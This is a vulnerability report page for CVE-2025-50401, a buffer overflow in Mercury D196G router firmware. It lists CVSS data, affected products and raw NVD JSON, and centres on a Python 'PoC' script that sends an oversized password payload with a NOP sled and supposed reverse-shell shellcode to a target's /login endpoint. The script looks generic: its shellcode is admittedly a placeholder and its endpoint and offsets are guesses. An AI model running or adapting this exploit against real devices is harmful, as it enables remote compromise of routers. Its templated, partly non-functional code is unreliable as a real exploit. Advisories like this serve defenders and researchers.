Security Vulnerability Report
中文
CVE-2025-50401 CVSS 9.8 CRITICAL

CVE-2025-50401

Published: 2025-12-16 17:16:09
Last Modified: 2025-12-22 15:30:28

Description

Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44 is vulnerable to Buffer Overflow in the function sub_404CAEDC via the parameter password.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:mercurycom:d196g_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mercurycom:d196g:-:*:*:*:*:*:*:* - NOT VULNERABLE
Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-50401 PoC - Mercury D196G Buffer Overflow in password parameter This PoC demonstrates the buffer overflow vulnerability in sub_404CAEDC function """ import socket import sys def exploit_target(target_ip, target_port=80): """ Send malicious payload to trigger buffer overflow """ # Generate overflow payload # Pattern to overwrite return address (adjust based on target) junk = b'A' * 1000 # Junk data to overflow buffer nop_sled = b'\x90' * 100 # NOP sled # Shellcode for MIPS EL - reverse shell # This is a placeholder shellcode, actual shellcode may vary shellcode = b'\x66\x06\x06\x24\xff\xff\xd0\x04\x01\x01\x01\x01\x2f\x62\x69\x6e' shellcode += b'\x2f\x73\x68\x00' * 10 # /bin/sh repeated payload = junk + nop_sled + shellcode # Construct HTTP request with malicious password http_payload = f"POST /login HTTP/1.1\r\n" http_payload += f"Host: {target_ip}\r\n" http_payload += f"Content-Length: {len('password=' + payload.decode('latin-1'))}\r\n" http_payload += f"\r\n" http_payload += f"password=" + payload.decode('latin-1') print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_payload.encode('latin-1')) response = sock.recv(1024) print(f"[*] Received response: {response[:100]}") sock.close() print("[+] Exploit sent successfully") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_target(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50401", "sourceIdentifier": "[email protected]", "published": "2025-12-16T17:16:09.010", "lastModified": "2025-12-22T15:30:28.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mercury D196G d196gv1-cn-up_2020-01-09_11.21.44 is vulnerable to Buffer Overflow in the function sub_404CAEDC via the parameter password."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mercurycom:d196g_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "CA14A7E8-7029-4AA7-980A-3C7B36C47A30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mercurycom:d196g:-:*:*:*:*:*:*:*", "matchCriteriaId": "528A4FD6-DA73-4525-96C7-B62306C990DC"}]}]}], "references": [{"url": "https://github.com/sezangel/IOT-vul/tree/main/Mercury/D196G/1", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/sezangel/IOT-vul/tree/main/Mercury/D196G/1", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}